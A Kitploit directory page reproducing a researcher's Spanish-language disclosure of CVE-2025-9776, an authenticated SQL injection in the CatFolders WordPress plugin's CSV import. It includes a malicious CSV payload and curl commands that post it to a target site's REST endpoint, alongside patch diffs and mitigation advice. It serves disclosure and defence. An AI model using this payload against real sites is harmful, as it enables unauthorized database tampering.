Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-9776 — CVE-2025-9776 — CatFolders WordPress Plugin: Inyección SQL autenticada a través de importación CSV | POC + Walkthrough | Kitploit
Herramientas/GitHubGitHub/snailsploit/cve-2025-9776
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónPapers e InvestigaciónAprendizaje y Educación
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — CatFolders WordPress Plugin: Inyección SQL autenticada a través de importación CSV | POC + Walkthrough

Ver Repositorio
13hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-9776: Inyección SQL Autenticada en el Plugin CatFolders para WordPress

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Palabras clave: CVE-2025-9776, vulnerabilidad CatFolders WordPress, inyección SQL WordPress, inyección SQL autenticada, seguridad WordPress, vulnerabilidad importación CSV, exploit plugin WordPress, CWE-89, ataque base de datos WordPress, vulnerabilidad librería multimedia, WordPress CVE 2025

Tabla de Contenidos

  • Resumen
  • Detalles de la Vulnerabilidad
  • Análisis Técnico
  • Prueba de Concepto
  • Guía de Mitigación
  • Métricas CVSS
  • Referencias
  • Contacto de Seguridad
  • Resumen

    Se descubrió una vulnerabilidad de inyección SQL autenticada en el plugin CatFolders para WordPress que permite a usuarios con nivel de Autor manipular consultas de base de datos mediante importaciones CSV maliciosas.

    Descubierto por: Kai Aizen (SnailSploit)
    Publicado: 2025
    Puntuación CVSS: 6.5 (Medio)
    CWE: CWE-89 - Inyección SQL

    Detalles de la Vulnerabilidad

    Descripción

    CatFolders – Domina tu Biblioteca Multimedia de WordPress por Categoría contiene una vulnerabilidad de inyección SQL autenticada en la funcionalidad de importación CSV. La columna attachments de un CSV proporcionado por el usuario se divide en una lista y se pasa directamente a FolderModel::set_attachments(), la cual concatena esos valores en cláusulas SQL IN (...) sin la debida sanitización ni parametrización.

    Impacto

    Esta vulnerabilidad permite a atacantes autenticados con permisos de nivel Autor:

    • Ejecutar consultas SQL arbitrarias
    • Eliminación o manipulación masiva de las relaciones carpeta-archivo adjunto
    • Posible exposición de datos dependiendo del payload y la estructura de la base de datos
    • Comprometer la integridad y disponibilidad de la base de datos

    Versiones Afectadas

    • Vulnerable: Todas las versiones ≤ 2.5.2
    • Corregida: Versión 2.5.3 y superiores (verificar con el proveedor)

    Métricas CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
    
    MétricaValor
    Vector de AtaqueRed (AV:N)
    Complejidad de AtaqueBaja (AC:L)
    Privilegios RequeridosBajos (PR:L) - Autor+
    Interacción del UsuarioNinguna (UI:N)
    AlcanceSin Cambio (S:U)
    ConfidencialidadNinguna (C:N)
    IntegridadBaja (I:L)
    DisponibilidadBaja (A:L)

    Detalles Técnicos

    Ruta de Código Vulnerable

    La vulnerabilidad existe en el flujo de importación CSV:

    Archivo: includes/Rest/Controllers/ImportController.php

    1. El método import_csv analiza el CSV subido sin sanitización por campo
    2. restore_folders() llama:
    root@kitploit:~
    FolderModel::set_attachments( 
        $new_folder['id'], 
        explode(',', $folder['attachments']), 
        false 
    );
    

    Archivo: includes/Models/FolderModel.php

    1. set_attachments() construye SQL sin formato usando concatenación de cadenas:
    root@kitploit:~
    'raw' => 'post_id IN (' . $attachmentIds . ')'
    
    1. Cada elemento no es convertido a entero ni parametrizado, permitiendo inyección SQL

    Vector de Ataque

    Un atacante con privilegios de nivel Autor (upload_files capability) puede inyectar SQL malicioso a través del endpoint de importación CSV:

    Payload CSV malicioso:

    root@kitploit:~
    id,name,attachments
    1,Test Folder,"1) OR 1=1--"
    

    Consulta vulnerable resultante:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts 
    WHERE post_id IN (1) OR 1=1--)
    

    Esto rompe la cláusula IN(...) y altera la semántica de la consulta, potencialmente afectando a todas las filas.

    Prerrequisitos

    • Cuenta de nivel Autor (o superior) en el sitio WordPress objetivo
    • Plugin CatFolders instalado y activo
    • Acceso al endpoint de importación de la API REST

    Prueba de Concepto

    Paso 1: Descubrir el Espacio de Nombres REST

    root@kitploit:~
    curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
    

    Resultado típico: /catf/v1/import-csv

    Paso 2: Preparar CSV Malicioso

    Crear un archivo llamado catf_inject.csv:

    root@kitploit:~
    id,name,attachments
    1,Malicious Folder,"1) OR 1=1--"
    

    Paso 3: Ejecutar el Ataque

    root@kitploit:~
    NS="/catf/v1"  # Reemplazar con el espacio de nombres descubierto
    
    curl -i \
      -u 'author_user:APPLICATION_PASSWORD' \
      -F "file=@catf_inject.csv;type=text/csv" \
      -X POST "https://target.site/wp-json${NS}/import-csv"
    

    Respuesta esperada:

    root@kitploit:~
    { "success": true }
    

    Demostración del Impacto

    El servidor construye y ejecuta:

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
    

    Esto puede realizar operaciones DELETE/INSERT más amplias de lo previsto, a menudo borrando las relaciones carpeta-archivo adjunto en toda la base de datos.

    Entorno de Pruebas Seguro

    Ejecute la simulación SQLite independiente para observar la vulnerabilidad de forma segura:

    root@kitploit:~
    python3 poc/catfolders_sql_poc.py
    

    Esto imprime la consulta vulnerable y demuestra cómo un token malicioso devuelve todas las filas, mientras que una versión parametrizada lo rechaza correctamente.

    Mitigación

    Para Administradores del Sitio

    Acción Inmediata Requerida:

    1. Actualizar CatFolders a la versión 2.5.3 o superior
    2. Revisar las cuentas de usuario con privilegios de nivel Autor o superiores
    3. Auditar los registros de la base de datos en busca de consultas sospechosas entre las fechas afectadas
    4. Verificar las relaciones carpeta-archivo adjunto en busca de modificaciones inesperadas

    Para Desarrolladores

    Dos pasos mínimos de endurecimiento:

    1. Sanitizar IDs Antes de Llamar al Modelo

    root@kitploit:~
    - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
    + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
    + if ( ! empty( $ids ) ) {
    +     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
    + }
    

    2. Forzar Enteros Dentro de set_attachments()

    root@kitploit:~
      $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
    + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
    

    Recomendación Más Fuerte

    Reemplazar toda concatenación SQL sin formato con consultas parametrizadas usando $wpdb->prepare() de WordPress:

    root@kitploit:~
    $placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
    $query = $wpdb->prepare(
        "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
        ...$imgIds
    );
    

    Adicionalmente:

    • Validar estrictamente todos los campos CSV antes de procesarlos
    • Implementar validación de tipo de entrada en la capa de la API
    • Agregar limitación de velocidad al endpoint de importación
    • Registrar todas las operaciones de importación para pistas de auditoría

    Archivo de Parche

    Hay un parche completo disponible en patch/catfolders_fix.patch

    Estructura del Repositorio

    root@kitploit:~
    CVE-2025-9776/
    ├── README.md                    # Este archivo
    ├── poc/
    │   ├── catf_inject.csv         # Payload CSV malicioso
    │   └── catfolders_sql_poc.py   # Simulación SQLite segura
    └── patch/
        └── catfolders_fix.patch    # Correcciones recomendadas
    

    Cronología

    • Fecha de Descubrimiento: 2025
    • Notificación al Proveedor: Divulgación coordinada a través de Wordfence
    • Divulgación Pública: 2025
    • Parche Disponible: Versión 2.5.3

    Referencias

    • Entrada CVE de MITRE
    • Aviso de Inteligencia de Wordfence
    • Directorio de Plugins de WordPress
    • Investigación de SnailSploit

    Créditos

    Investigador: Kai Aizen (SnailSploit)

    Proceso de Divulgación: Coordinado a través del Programa de Recompensas por Errores de Wordfence

    Consideraciones Éticas

    ⚠️ AVISO IMPORTANTE

    Esta Prueba de Concepto se proporciona exclusivamente con fines de investigación defensiva y educativos.

    Pautas de Uso

    • ✅ HACER: Probar en sus propios sistemas o con autorización explícita por escrito
    • ✅ HACER: Usar para capacitación y concienciación en seguridad
    • ✅ HACER: Implementar las correcciones en su propio código
    • ❌ NO HACER: Probar contra sistemas sin permiso
    • ❌ NO HACER: Usar con fines maliciosos
    • ❌ NO HACER: Explotar en entornos de producción

    Aviso Legal

    El acceso no autorizado a sistemas informáticos es ilegal bajo leyes que incluyen:

    • Computer Fraud and Abuse Act (CFAA) - Estados Unidos
    • Computer Misuse Act - Reino Unido
    • Legislación similar en otras jurisdicciones

    Úselo bajo su propio riesgo. Los investigadores y SnailSploit no asumen ninguna responsabilidad por el mal uso de esta información.

    Contacto

    Para preguntas o información adicional sobre esta vulnerabilidad:

    • Correo electrónico: [email protected]
    • LinkedIn: linkedin.com/in/kaiaizen
    • Sitio web: snailsploit.com
    • Organización: SnailSploit Security Research

    ¡Manténgase seguro y mantenga actualizadas sus instalaciones de WordPress!

    Última actualización: 13 de octubre de 2025


    📚 Documentación y Autor

    La redacción completa, la metodología y la investigación relacionada de este proyecto se encuentran en:

    https://snailsploit.com/security-research/cves/cve-2025-9776/

    Creado por Kai Aizen — investigador independiente de seguridad ofensiva.

    snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

    Mismo ataque. Sustrato diferente.

    Descargar herramienta